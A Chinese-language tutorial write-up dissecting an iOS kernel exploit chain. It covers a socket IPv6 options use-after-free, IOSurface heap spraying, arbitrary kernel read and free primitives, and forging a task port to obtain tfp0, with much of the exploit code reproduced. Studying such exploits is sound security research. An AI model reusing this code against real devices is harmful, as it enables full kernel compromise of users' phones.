函數ipc_kmsg_copyin_ool_ports_descriptor()專注處理OOL數據,調用了一個關鍵的函數ipc_object_copyin()

mach_msg_descriptor_t *ipc_kmsg_copyin_ool_ports_descriptor(mach_msg_ool_ports_descriptor_t *dsc,mach_msg_descriptor_t *user_dsc,int is_64bit,vm_map_t map,ipc_space_t space,ipc_object_t dest,ipc_kmsg_t kmsg,mach_msg_option_t *optionp,mach_msg_return_t *mr){    void *data;    ipc_object_t *objects;    unsigned int i;    mach_vm_offset_t addr;    mach_msg_type_name_t user_disp;    mach_msg_type_name_t result_disp;    mach_msg_type_number_t count;    mach_msg_copy_options_t copy_option;    boolean_t deallocate;    mach_msg_descriptor_type_t type;    vm_size_t ports_length, names_length;
if (is_64bit) { mach_msg_ool_ports_descriptor64_t *user_ool_dsc = (typeof(user_ool_dsc))user_dsc; addr = (mach_vm_offset_t)user_ool_dsc->address; count = user_ool_dsc->count; deallocate = user_ool_dsc->deallocate; copy_option = user_ool_dsc->copy; user_disp = user_ool_dsc->disposition; type = user_ool_dsc->type; user_dsc = (typeof(user_dsc))(user_ool_dsc+1); } else { ... } data = kalloc(ports_length); #ifdef __LP64__ mach_port_name_t *names = &((mach_port_name_t *)data)[count];#else mach_port_name_t *names = ((mach_port_name_t *)data);#endif
objects = (ipc_object_t *) data; dsc->address = data;
for ( i = 0; i < count; i++) { mach_port_name_t name = names[i]; ipc_object_t object; if (!MACH_PORT_VALID(name)) { objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name); continue; } kern_return_t kr = ipc_object_copyin(space, name, user_disp, &object); objects[i] = object; }
return user_dsc;}

函數ipc_object_copyin()包含兩個函數:ipc_right_lookup_write()和ipc_right_copyin()

kern_return_tipc_object_copyin(  ipc_space_t    space,  mach_port_name_t  name,  mach_msg_type_name_t  msgt_name,  ipc_object_t    *objectp){  ipc_entry_t entry;  ipc_port_t soright;  ipc_port_t release_port;  kern_return_t kr;  int assertcnt = 0;
kr = ipc_right_lookup_write(space, name, &entry); release_port = IP_NULL; kr = ipc_right_copyin(space, name, entry, msgt_name, TRUE, objectp, &soright, &release_port, &assertcnt); ... return kr;}

函數ipc_right_lookup_write()調用函數ipc_entry_lookup(),返回值賦值給entry

kern_return_tipc_right_lookup_write(  ipc_space_t    space,  mach_port_name_t  name,  ipc_entry_t    *entryp){  ipc_entry_t entry;  is_write_lock(space);  if ((entry = ipc_entry_lookup(space, name)) == IE_NULL) {    is_write_unlock(space);    return KERN_INVALID_NAME;  }  *entryp = entry;  return KERN_SUCCESS;}

這裡需要提兩個概念,一個是結構體ipc_space,它是整個Task的IPC空間,另一個是結構體ipc_entry,它指向的是結構體ipc_object,結構體ipc_space有一個成員is_table專門用於存儲當前Task所有的ipc_entry,在我們這裡的場景,ipc_entry指向的是ipc_port,也就是說,變量entry拿到的是最開始傳入的Task Port在內核態的地址

ipc_entry_tipc_entry_lookup(  ipc_space_t    space,  mach_port_name_t  name){  mach_port_index_t index;  ipc_entry_t entry;  index = MACH_PORT_INDEX(name);  if (index <  space->is_table_size) {                entry = &space->is_table[index];    ...  }
return entry;}

層層往回走,函數ipc_object_copyin()的參數objectp會被存儲到Caller函數ipc_kmsg_copyin_ool_ports_descriptor()的objects[]數組裡,數組objects[]在函數ipc_kmsg_copyin_ool_ports_descriptor進行內存空間分配,所以我們只要讓ports_length等於inp->in6p_outputopts的大小,就可以讓它分配到我們釋放掉的空間裡

data = kalloc(ports_length);objects = (ipc_object_t *) data;

先創建一個Ports數組用於存儲傳入的用戶態Task Port,然後構造OOL Message,其它都不重要,主要看msg->ool_ports.address和msg->ool_ports.count,這兩個構造好就行,調用函數msg_send()發送消息,此時就會發生內存分配,將用戶態Task Port轉為Task Port的內核態地址並寫入我們可控的內存空間

mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {    mach_port_t q = MACH_PORT_NULL;    kern_return_t err;    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);    mach_port_t* ports = malloc(sizeof(mach_port_t) * count);    for (int i = 0; i < count; i++) {        ports[i] = target_port;    }    struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);    msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);    msg->hdr.msgh_remote_port = q;    msg->hdr.msgh_local_port = MACH_PORT_NULL;    msg->hdr.msgh_id = 0x41414141;    msg->body.msgh_descriptor_count = 1;    msg->ool_ports.address = ports;    msg->ool_ports.count = count;    msg->ool_ports.deallocate = 0;    msg->ool_ports.disposition = disposition;    msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;    msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;    err = mach_msg(&msg->hdr,                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,                   msg->hdr.msgh_size,                   0,                   MACH_PORT_NULL,                   MACH_MSG_TIMEOUT_NONE,                   MACH_PORT_NULL);    return q;}

結構體ip6_pktopts的大小是192,我沒找到對應的頭文件來導入這個結構體,笨辦法把整個結構體拷貝出來了,然後調用函數sizeof()來計算,這裡根據結構體的成員分布,選擇了ip6po_minmtu和ip6po_prefer_tempaddr進行組合,同時增加了內核指針特徵進行判斷

uint64_t find_port_via_uaf(mach_port_t port, int disposition) {    int sock = get_socket_with_dangling_options();    for (int i = 0; i < 0x10000; i++) {        mach_port_t p = fill_kalloc_with_port_pointer(port, 192/sizeof(uint64_t), MACH_MSG_TYPE_COPY_SEND);        int mtu;        int pref;        get_minmtu(sock, &mtu);         get_prefertempaddr(sock, &pref);         uint64_t ptr = (((uint64_t)mtu << 32) & 0xffffffff00000000) | ((uint64_t)pref & 0x00000000ffffffff);        if (mtu >= 0xffffff00 && mtu != 0xffffffff && pref != 0xdeadbeef) {            mach_port_destroy(mach_task_self(), p);            close(sock);            return ptr;        }        mach_port_destroy(mach_task_self(), p);    }    close(sock);    return 0;}

5. 洩露IPC_SPACE內核地址

在洩露Task Port內核態地址的時候,我們利用的是傳輸Port過程中內核自動將其轉換為內核態地址的機制往可控的內存裡填充數據,而想要洩露內核任意地址上的數據,就需要使用更加穩定的方式實現原語

首先來看結構體ip6_pktopts,現在有一個指針指向這一片已經釋放掉的內核空間,我們通過某些方式可以讓這片內核空間寫上我們構造的數據,那麼就有幾個問題需要解決

怎麼申請到這片內存並將數據寫進去?

怎麼利用寫進去的數據實現內核任意地址讀原語?

struct  ip6_pktopts {  struct  mbuf *ip6po_m;    int  ip6po_hlim;    struct  in6_pktinfo *ip6po_pktinfo;  struct  ip6po_nhinfo ip6po_nhinfo;  struct  ip6_hbh *ip6po_hbh;   struct  ip6_dest *ip6po_dest1;  struct  ip6po_rhinfo ip6po_rhinfo;  struct  ip6_dest *ip6po_dest2;  int  ip6po_tclass;    int  ip6po_minmtu;    int  ip6po_prefer_tempaddr;  int ip6po_flags;};

第二個問題比較好解決,我們可以看到結構體ip6_pktopts有好幾個結構體類型成員,比如結構體ip6po_pktinfo,那麼我們就可以把這個結構體成員所在偏移設置為我們要洩露數據的地址,設置整型變量ip6po_minmtu為一個特定值,然後堆噴這個構造好的數據到內存裡,利用函數getsockopt()讀漏洞Socket的ip6po_minmtu是否為我們標記的特定值

如果是特定值說明這個漏洞Socket已經成功噴上了我們構造的數據,再通過函數getsockopt()讀取結構體變量ip6po_pktinfo的值即可洩露出構造地址的數據,結構體in6_pktinfo的大小為20位元組,所以作者實現了函數read_20_via_uaf()用於洩露指定地址的數據

void* read_20_via_uaf(uint64_t addr) {    int sockets[128];    for (int i = 0; i < 128; i++) {        sockets[i] = get_socket_with_dangling_options();    }    struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));    fake_opts->ip6po_minmtu = 0x41424344;     *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344;    fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr;     bool found = false;    int found_at = -1;    for (int i = 0; i < 20; i++) {        spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts));          for (int j = 0; j < 128; j++) {            int minmtu = -1;            get_minmtu(sockets[j], &minmtu);            if (minmtu == 0x41424344) {                 found_at = j;                 found = true;                break;            }        }        if (found) break;    }    free(fake_opts);    if (!found) {        printf("[-] Failed to read kernel\n");        return 0;    }        for (int i = 0; i < 128; i++) {        if (i != found_at) {            close(sockets[i]);        }    }        void *buf = malloc(sizeof(struct in6_pktinfo));    get_pktinfo(sockets[found_at], (struct in6_pktinfo *)buf);    close(sockets[found_at]);    return buf;}

如何構造任意讀的原語方法有了,剩下的關鍵就是如何將構造好的數據堆噴到inp->in6p_outputopts,我們來學習一種新的堆噴方式:利用IOSurface進行堆風水

關於序列化與反序列化相關的資料大家可以參考這篇文章的第二段Overview of OSUnserializeBinary,寫的非常詳細

我這裡以自己的理解作簡單的記錄

相關的有兩個函數:OSUnserializeBinary()與OSUnserializeXML()

我們有兩種模式可以構造數據,一種是XML,另一種是Binary,Binary模式是以uint32為類型的數據,當數據頭部是0x000000d3的時候,就會自動跳到函數OSUnserializeBinary()處理

uint32長度是32位,也就是4個字節,第32位用於表示結束節點,第24位到30位表示存儲的數據,第0到23位表示數據長度

0(31) 0000000(24) 000000000000000000000000

enum {    kOSSerializeDictionary      = 0x01000000U,    kOSSerializeArray           = 0x02000000U,    kOSSerializeSet             = 0x03000000U,    kOSSerializeNumber          = 0x04000000U,    kOSSerializeSymbol          = 0x08000000U,    kOSSerializeString          = 0x09000000U,    kOSSerializeData            = 0x0a000000U,    kOSSerializeBoolean         = 0x0b000000U,    kOSSerializeObject          = 0x0c000000U,    kOSSerializeTypeMask        = 0x7F000000U,    kOSSerializeDataMask        = 0x00FFFFFFU,    kOSSerializeEndCollection   = 0x80000000U,};

舉個例子來理解計算過程,0x000000d3表示這是Binary模式,0x81000002表示當前集合kOSSerializeDictionary內有兩個元素,接下來依次填充元素,第一個元素是kOSSerializeString,元素長度是4,0x00414141表示元素數據,kOSSerializeBoolean表示第二個元素,最後一位直接可以表示True或者False

0x000000d3 0x81000002 0x09000004 0x00414141 0x8b000001 

根據我們的分析,上面一段數據的解析結果如下,注意字符串類型最後的00截止符是會佔位的

<dict>    <string>AAA</string>    <boolean>1</boolean></dict>

這個計算過程一定要理解,接下來的堆噴需要用到這個計算方式

作者使用函數spray_IOSurface()作為調用入口實現了堆噴,32表示嘗試32次堆噴,256表示存儲的數組元素個數

int spray_IOSurface(void *data, size_t size) {    return !IOSurface_spray_with_gc(32, 256, data, (uint32_t)size, NULL);}

函數IOSurface_spray_with_gc()作為封裝,直接調用函數IOSurface_spray_with_gc_internal(),最後一個參數callback設置為NULL,此處不用處理

boolIOSurface_spray_with_gc(uint32_t array_count, uint32_t array_length,    void *data, uint32_t data_size,    void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {  return IOSurface_spray_with_gc_internal(array_count, array_length, 0,      data, data_size, callback);}

最終實現在函數IOSurface_spray_with_gc_internal()裡,這個函數比較複雜,我們按照邏輯進行拆分

初始化IOSurface獲取IOSurfaceRootUserClient

bool ok = IOSurface_init();

計算每一個data所需要的XML Unit數量,因為00截止符的原因,data_size需要減去1再進行計算,其實就是向上取整

size_t xml_units_per_data = xml_units_for_data_size(data_size);
static size_txml_units_for_data_size(size_t data_size) { return ((data_size - 1) + sizeof(uint32_t) - 1) / sizeof(uint32_t);}

比如字符串長度為3位元組,加上00截止符就是4位元組,需要1個uint32

那如果字符串長度是7位元組,加上00截止符就是8位元組,此時就需要2個uint32,也就是上面計算的XML Unit

0x09000008 0x41414141 0x00414141 

這裡有很多個1,每個1都是一個uint32類型的數據,這個留著後面具體構造的時候再分析,這裡計算的是一個完整的XML所需要的XML Unit,其中包含了256個data,每個data所需要佔用的XML Unit為函數xml_units_for_data_size()計算的結果,此處加1操作是因為每個data需要一個kOSSerializeString作為元素標籤,這個標籤佔用1個uint32

size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1;

上面計算完需要的xml_units之後,下面開始分配內存空間,xml[0]為變長數組

struct IOSurfaceValueArgs {    uint32_t surface_id;    uint32_t _out1;    union {        uint32_t xml[0];        char string[0];    };};
struct IOSurfaceValueArgs *args;size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]);args = malloc(args_size);

這是很重要的一步,此前計算的幾個數據會在這裡傳入函數serialize_IOSurface_data_array()進行最終的XML構造

uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data));uint32_t *key;size_t xml_size = serialize_IOSurface_data_array(args->xml, current_array_length, data_size, xml_data, &key);

函數serialize_IOSurface_data_array()的構造過程我們前面有詳細的解釋,前後6個1在這裡體現為kOSSerializeBinarySignature等元素

static size_tserialize_IOSurface_data_array(uint32_t *xml0, uint32_t array_length, uint32_t data_size,    uint32_t **xml_data, uint32_t **key) {  uint32_t *xml = xml0;  *xml++ = kOSSerializeBinarySignature;  *xml++ = kOSSerializeArray | 2 | kOSSerializeEndCollection;  *xml++ = kOSSerializeArray | array_length;  for (size_t i = 0; i < array_length; i++) {    uint32_t flags = (i == array_length - 1 ? kOSSerializeEndCollection : 0);    *xml++ = kOSSerializeData | (data_size - 1) | flags;    xml_data[i] = xml;        xml += xml_units_for_data_size(data_size);  }  *xml++ = kOSSerializeSymbol | sizeof(uint32_t) + 1 | kOSSerializeEndCollection;  *key = xml++;      *xml++ = 0;      return (xml - xml0) * sizeof(*xml);}

最終構造的XML如下

<kOSSerializeBinarySignature /><kOSSerializeArray>2</kOSSerializeArray><kOSSerializeArray length=${array_length}>    <kOSSerializeData length=${data_size - 1}>            </kOSSerializeData>    <kOSSerializeData length=${data_size - 1}>            </kOSSerializeData>        <kOSSerializeData length=${data_size - 1}>            </kOSSerializeData></kOSSerializeArray><kOSSerializeSymbol>${sizeof(uint32_t) + 1}</kOSSerializeSymbol><key>${key}</key>0

此時我們擁有了一個XML模板,開始往裡面填充數據,填充的數據分為兩部分,一部分是構造的data,另一部分是標識key,完成填充後調用函數IOSurface_set_value(),該函數是函數IOConnectCallMethod()的封裝,用於向內核發送數據

for (uint32_t array_id = 0; array_id < array_count; array_id++) {    *key = base255_encode(total_arrays + array_id);    for (uint32_t data_id = 0; data_id < current_array_length; data_id++) {        memcpy(xml_data[data_id], data, data_size - 1);    }    ok = IOSurface_set_value(args, args_size);}

完整的主代碼如下,我去掉了一部分不會訪問到的邏輯

static uint32_t total_arrays = 0;static boolIOSurface_spray_with_gc_internal(uint32_t array_count, uint32_t array_length, uint32_t extra_count,    void *data, uint32_t data_size,    void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {    bool ok = IOSurface_init();    uint32_t current_array_length = array_length + (extra_count > 0 ? 1 : 0);      size_t xml_units_per_data = xml_units_for_data_size(data_size);  size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1;    struct IOSurfaceValueArgs *args;  size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]);  args = malloc(args_size);        args->surface_id = IOSurface_id;            uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data));  uint32_t *key;  size_t xml_size = serialize_IOSurface_data_array(args->xml,      current_array_length, data_size, xml_data, &key);        size_t sprayed = 0;  size_t next_gc_step = 0;    for (uint32_t array_id = 0; array_id < array_count; array_id++) {                    *key = base255_encode(total_arrays + array_id);    for (uint32_t data_id = 0; data_id < current_array_length; data_id++) {            memcpy(xml_data[data_id], data, data_size - 1);    }                ok = IOSurface_set_value(args, args_size);    if (ok) {      sprayed += data_size * current_array_length;    }  }  if (next_gc_step > 0) {      }  free(args);  free(xml_data);  total_arrays += array_count;  return true;}

堆噴的細節就分析到這裡,所以在利用中,我們構造好堆噴數據和長度之後,就可以調用函數rk64_via_uaf()進行堆噴操作

uint64_t rk64_via_uaf(uint64_t addr) {    void *buf = read_20_via_uaf(addr);    if (buf) {        uint64_t r = *(uint64_t*)buf;        free(buf);        return r;    }    return 0;}

我們在上一步已經獲取了Task Port的內核態地址,根據結構體偏移,我們可以獲取到IPC_SPACE的內核地址

uint64_t ipc_space_kernel = rk64_via_uaf(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));if (!ipc_space_kernel) {    printf("[-] kernel read primitive failed!\n");    goto err;}printf("[i] ipc_space_kernel: 0x%llx\n", ipc_space_kernel);

獲取一下數據

[i] our task port: 0xfffffff001c3cc38[i] ipc_space_kernel: 0xfffffff000a22fc0

6. 任意釋放Pipe Buffer

Pipe管道是一個可以用於跨進程通信的機制,它會在內核緩衝區開闢內存空間進行數據的讀寫,fds[1]用於寫入數據,fds[0]用於讀取數據

比如現在讀寫下標在0的位置,我們寫入0x10000位元組,那麼下標就會移動到0x10000,當我們讀取0x10000位元組的時候,下標就會往回移動到0

最後一句寫8位元組到緩衝區裡是為了用於後面的堆噴操作可以用構造的數據填充這片緩衝區,可以直接讀取8位元組的數據

int fds[2];ret = pipe(fds);uint8_t pipebuf[0x10000];memset(pipebuf, 0, 0x10000);write(fds[1], pipebuf, 0x10000); // do write() to allocate the buffer on the kernelread(fds[0], pipebuf, 0x10000); // do read() to reset buffer positionwrite(fds[1], pipebuf, 8); // write 8 bytes so later we can read the first 8 bytes

當我們調用函數setsockopt()時,會調用到函數ip6_setpktopt()

setsockopt(sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, sizeof(*pktinfo));

當選項名為IPV6_PKTINFO時,我們會發現一個邏輯:如果pktinfo->ipi6_ifindex為0且&pktinfo->ipi6_addr開始的12個字節的數據也都是0,就會調用函數ip6_clearpktopts()釋放掉當前的ip6_pktopts->in6_pktinfo,這個判斷條件簡化一下就是整個結構體數據都是0就會被釋放

define  IN6_IS_ADDR_UNSPECIFIED(a)  \  ((*(const __uint32_t *)(const void *)(&(a)->s6_addr[0]) == 0) && \  (*(const __uint32_t *)(const void *)(&(a)->s6_addr[4]) == 0) && \  (*(const __uint32_t *)(const void *)(&(a)->s6_addr[8]) == 0) && \  (*(const __uint32_t *)(const void *)(&(a)->s6_addr[12]) == 0))
static intip6_setpktopt(int optname, u_char *buf, int len, struct ip6_pktopts *opt, int sticky, int cmsg, int uproto){ int minmtupolicy, preftemp; int error; boolean_t capture_exthdrstat_out = FALSE;
switch (optname) { case IPV6_2292PKTINFO: case IPV6_PKTINFO: { struct ifnet *ifp = NULL; struct in6_pktinfo *pktinfo;
if (len != sizeof (struct in6_pktinfo)) return (EINVAL);
    pktinfo = (struct in6_pktinfo *)(void *)buf;
if (optname == IPV6_PKTINFO && opt->ip6po_pktinfo && pktinfo->ipi6_ifindex == 0 && IN6_IS_ADDR_UNSPECIFIED(&pktinfo->ipi6_addr)) { ip6_clearpktopts(opt, optname); break; } ... }

函數ip6_clearpktopts()調用FREE()來執行釋放緩衝區操作,這裡面涉及到了堆的分配釋放問題,由於並不是本文分析的重點,不過多深入

#define R_Free(p) FREE((caddr_t)p, M_RTABLE);#define FREE(addr, type) \  _FREE((void *)addr, type)#define FREE(addr, type) \  _FREE((void *)addr, type)#define free _FREE#define FREE(addr, type) _free((void *)addr, type, __FILE__, __LINE__)
voidip6_clearpktopts(struct ip6_pktopts *pktopt, int optname){ if (optname == -1 || optname == IPV6_PKTINFO) { if (pktopt->ip6po_pktinfo) FREE(pktopt->ip6po_pktinfo, M_IP6OPT); pktopt->ip6po_pktinfo = NULL; } ...}

我們現在想要實現釋放Pipe緩衝區只需要先獲取它的地址,然後IOSurface堆噴使用這個Pipe緩衝區地址構造的數據,通過調用函數setsockopt()設置整個in6_pktinfo結構體數據為0就可以把這個Pipe緩衝區給釋放掉

根據我們洩露出來的Task Port獲取Pipe緩衝區地址,注意不同的系統版本偏移需要有所調整

uint64_t task = rk64_check(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));uint64_t proc = rk64_check(task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));uint64_t p_fd = rk64_check(proc + koffset(KSTRUCT_OFFSET_PROC_P_FD));uint64_t fd_ofiles = rk64_check(p_fd + koffset(KSTRUCT_OFFSET_FILEDESC_FD_OFILES));uint64_t fproc = rk64_check(fd_ofiles + fds[0] * 8);uint64_t f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB));uint64_t fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA));uint64_t pipe_buffer = rk64_check(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER));printf("[*] pipe buffer: 0x%llx\n", pipe_buffer);

函數free_via_uaf()與函數rk64_via_uaf()前面部分一樣,都是通過創建一堆存在漏洞的Socket,然後去堆噴,只不過這裡還要多一步填充結構體in6_pktinfo數據,可以看到我們填充的是一個全為0的數據,那麼就會觸發它進行釋放操作

int free_via_uaf(uint64_t addr) {    ...        struct in6_pktinfo *buf = malloc(sizeof(struct in6_pktinfo));    memset(buf, 0, sizeof(struct in6_pktinfo));    int ret = set_pktinfo(sockets[found_at], buf);    free(buf);    return ret;}

前期的準備工作到這裡就差不多了,我們接下來開始進入一個關鍵環節:偽造一個Port

7. 偽造Task Port

備註:因為SMAP是iPhone 7開始引入的安全機制,內核訪問用戶態的內存會被限制,而我的測試環境是iPhone 6,所以前面我淡化了SMAP的存在感,但接下來該面對還是要面對

申請一個target用於偽造Port,函數find_port_via_uaf()通過OOL數據自動轉換Port為內核態地址的機制獲取Port的內核態地址target_addr,函數free_via_uaf()將pipe_buffer給釋放掉,但管道句柄fds[0]和fds[1]依舊擁有對這個內核緩衝區的讀寫權限

mach_port_t target = new_port();uint64_t target_addr = find_port_via_uaf(target, MACH_MSG_TYPE_COPY_SEND);ret = free_via_uaf(pipe_buffer);

這個循環的操作有點像函數find_port_via_uaf(),利用自動轉換的Task Port內核態地址佔位剛才釋放掉的pipe_buffer,因為我們之前寫入了8位元組,所以這裡讀取8位元組就是pipe_buffer的前8個字節數據,判斷一下使用兩種方法獲取到的Port內核態地址是否相同,如果相同就退出循環,如果不同說明堆噴不成功,復位下標繼續循環

mach_port_t p = MACH_PORT_NULL;for (int i = 0; i < 10000; i++) {    p = fill_kalloc_with_port_pointer(target, 0x10000/8, MACH_MSG_TYPE_COPY_SEND);    uint64_t addr;    read(fds[0], &addr, 8);    if (addr == target_addr) {         break;    }    write(fds[1], &addr, 8);     mach_port_destroy(mach_task_self(), p);     p = MACH_PORT_NULL;}

除了fds之外,額外申請一個port_fds用於繞過SMAP的限制

int port_fds[2] = {-1, -1};if (SMAP) {    ret = pipe(port_fds);}

當我們獲得一個填充滿了Port內核態地址的內核緩衝區pipe_buffer之後,就需要構造一個ipc_port結構體了

將結構體ipc_port和task放在了連續的一片內存空間,構建完之後刷一遍port_fds緩衝區

kport_t *fakeport = malloc(sizeof(kport_t) + 0x600);ktask_t *fake_task = (ktask_t *)((uint64_t)fakeport + sizeof(kport_t));bzero((void *)fakeport, sizeof(kport_t) + 0x600);
fake_task->ref_count = 0xff;fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;fakeport->ip_references = 0xd00d;fakeport->ip_lock.type = 0x11;fakeport->ip_messages.port.receiver_name = 1;fakeport->ip_messages.port.msgcount = 0;fakeport->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;fakeport->ip_messages.port.waitq.flags = mach_port_waitq_flags();fakeport->ip_srights = 99;fakeport->ip_kobject = 0;fakeport->ip_receiver = ipc_space_kernel;
if (SMAP) { write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600); read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);}

申請空間時的kport_t為作者構造的一個ipc_port結構體

typedef volatile struct {    uint32_t ip_bits;    uint32_t ip_references;    struct {        uint64_t data;        uint64_t type;    } ip_lock;     struct {        struct {            struct {                uint32_t flags;                uint32_t waitq_interlock;                uint64_t waitq_set_id;                uint64_t waitq_prepost_id;                struct {                    uint64_t next;                    uint64_t prev;                } waitq_queue;            } waitq;            uint64_t messages;            uint32_t seqno;            uint32_t receiver_name;            uint16_t msgcount;            uint16_t qlimit;            uint32_t pad;        } port;        uint64_t klist;    } ip_messages;    uint64_t ip_receiver;    uint64_t ip_kobject;    uint64_t ip_nsrequest;    uint64_t ip_pdrequest;    uint64_t ip_requests;    uint64_t ip_premsg;    uint64_t ip_context;    uint32_t ip_flags;    uint32_t ip_mscount;    uint32_t ip_srights;    uint32_t ip_sorights;} kport_t;

我們要做的,是將這個Fake Task Port的地址,替換到剛才被釋放的內核緩衝區pipe_buffer裡,這樣整個內核緩衝區的布局就是:第一個8位元組是我們Fake Task Port的地址,後面都是正常Port的地址

先獲取Fake Task Port的地址port_pipe_buffer,也就是port_fds對應的內核緩衝區

uint64_t port_fg_data = 0;uint64_t port_pipe_buffer = 0;
if (SMAP) { fproc = rk64_check(fd_ofiles + port_fds[0] * 8); f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB)); port_fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA)); port_pipe_buffer = rk64_check(port_fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER)); printf("[*] second pipe buffer: 0x%llx\n", port_pipe_buffer);}

fakeport->ip_kobject指向的是結構體Task,這個結構體還沒有進行初始化,到這裡完成Fake Task Port的內存數據構造

fakeport->ip_kobject = port_pipe_buffer + sizeof(kport_t);

將完成構造的Fake Task Port數據刷到內核緩衝區裡

write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);

這是我們釋放掉的pipe_buffer,將第一個8位元組替換為port_pipe_buffer的地址,那麼邏輯上第一個Port內核態地址指向的內核內存空間我們就可以通過port_fds來進行控制了

write(fds[1], &port_pipe_buffer, 8);

獲取Fake Task Port的用戶態句柄,從p中讀出我們發送的OOL數據,第一個元素就是我們的Fake Task Port,如同用戶態傳到內核態會調用CAST_MACH_NAME_TO_PORT將用戶態句柄轉換為內核態地址一樣,內核態傳到用戶態會調用CAST_MACH_PORT_TO_NAME將內核態地址轉換為用戶態句柄

struct ool_msg *msg = malloc(0x1000);ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, 0x1000, p, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);mach_port_t *received_ports = msg->ool_ports.address;mach_port_t our_port = received_ports[0]; free(msg);

於是我們現在擁有了Fake Task Port的用戶態句柄和內核態地址

8. 填充VM_MAP

作者在這裡實現了兩個內核任意讀的原語,我們先來分析一下它背後的取值邏輯

通過fake_task獲取到bsd_info賦值給指針變量read_addr_ptr,宏kr32裡重新設置指針變量read_addr_ptr的值,再調用函數pid_for_task(),這邏輯完全看不懂什麼意思

uint64_t *read_addr_ptr = (uint64_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));    #define kr32(addr, value)\    if (SMAP) {\        read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);\    }\    *read_addr_ptr = addr - koffset(KSTRUCT_OFFSET_PROC_PID);\    if (SMAP) {\        write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);\    }\    value = 0x0;\    ret = pid_for_task(our_port, (int *)&value);        uint32_t read64_tmp;#define kr64(addr, value)\    kr32(addr + 0x4, read64_tmp);\    kr32(addr, value);\    value = value | ((uint64_t)read64_tmp << 32)

順著獲取PID這個思路想一下,通過一個Port內核態地址來獲取PID的方式如下

*(*(*(fake_port + offset_kobject) + offset_bsd_info) + offset_p_pid)

如果將bsd_info的值設置為addr - offset_p_pid,addr為我們要讀取數據的地址,可以看到此時獲取的就是我們傳入的addr指向的數據

*(addr - offset_p_pid + offset_p_pid) => *addr

可以得出結論:獲取read_addr_ptr與宏kr32()裡設置read_addr_ptr的值等價於設置task->bsd_info為addr - offset_p_pid,當調用函數pid_for_task()去獲取PID時,就能實現任意讀,在此基礎上,宏k64()實現了8位元組讀取效果

這個內核任意讀原語實現的很漂亮!

利用這個任意讀原語來實現PID的遍歷,先判斷本Task的PID是否為0,如果不是就獲取前一個Task,如果獲取到PID為0,就獲取VM_MAP

uint64_t struct_task;kr64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), struct_task);printf("[!] READING VIA FAKE PORT WORKED? 0x%llx\n", struct_task);
uint64_t kernel_vm_map = 0;while (struct_task != 0) { uint64_t bsd_info; kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO), bsd_info); uint32_t pid; kr32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID), pid); if (pid == 0) { uint64_t vm_map; kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP), vm_map); kernel_vm_map = vm_map; break; } kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV), struct_task);}printf("[i] kernel_vm_map: 0x%llx\n", kernel_vm_map);

把獲取到的VM_MAP填充到我們的Fake Task Port,一個東拼西湊的TFP0就拿到手了

read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);
fake_task->lock.data = 0x0;fake_task->lock.type = 0x22;fake_task->ref_count = 100;fake_task->active = 1;fake_task->map = kernel_vm_map;*(uint32_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_ITK_SELF)) = 1;
if (SMAP) { write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);}

初始化一個全局tfpzero變量

static mach_port_t tfpzero;
void init_kernel_memory(mach_port_t tfp0) { tfpzero = tfp0;}
init_kernel_memory(our_port);

申請8位元組內存,寫0x4141414141414141,再讀出來,能成功說明這個tfpzero是能用的

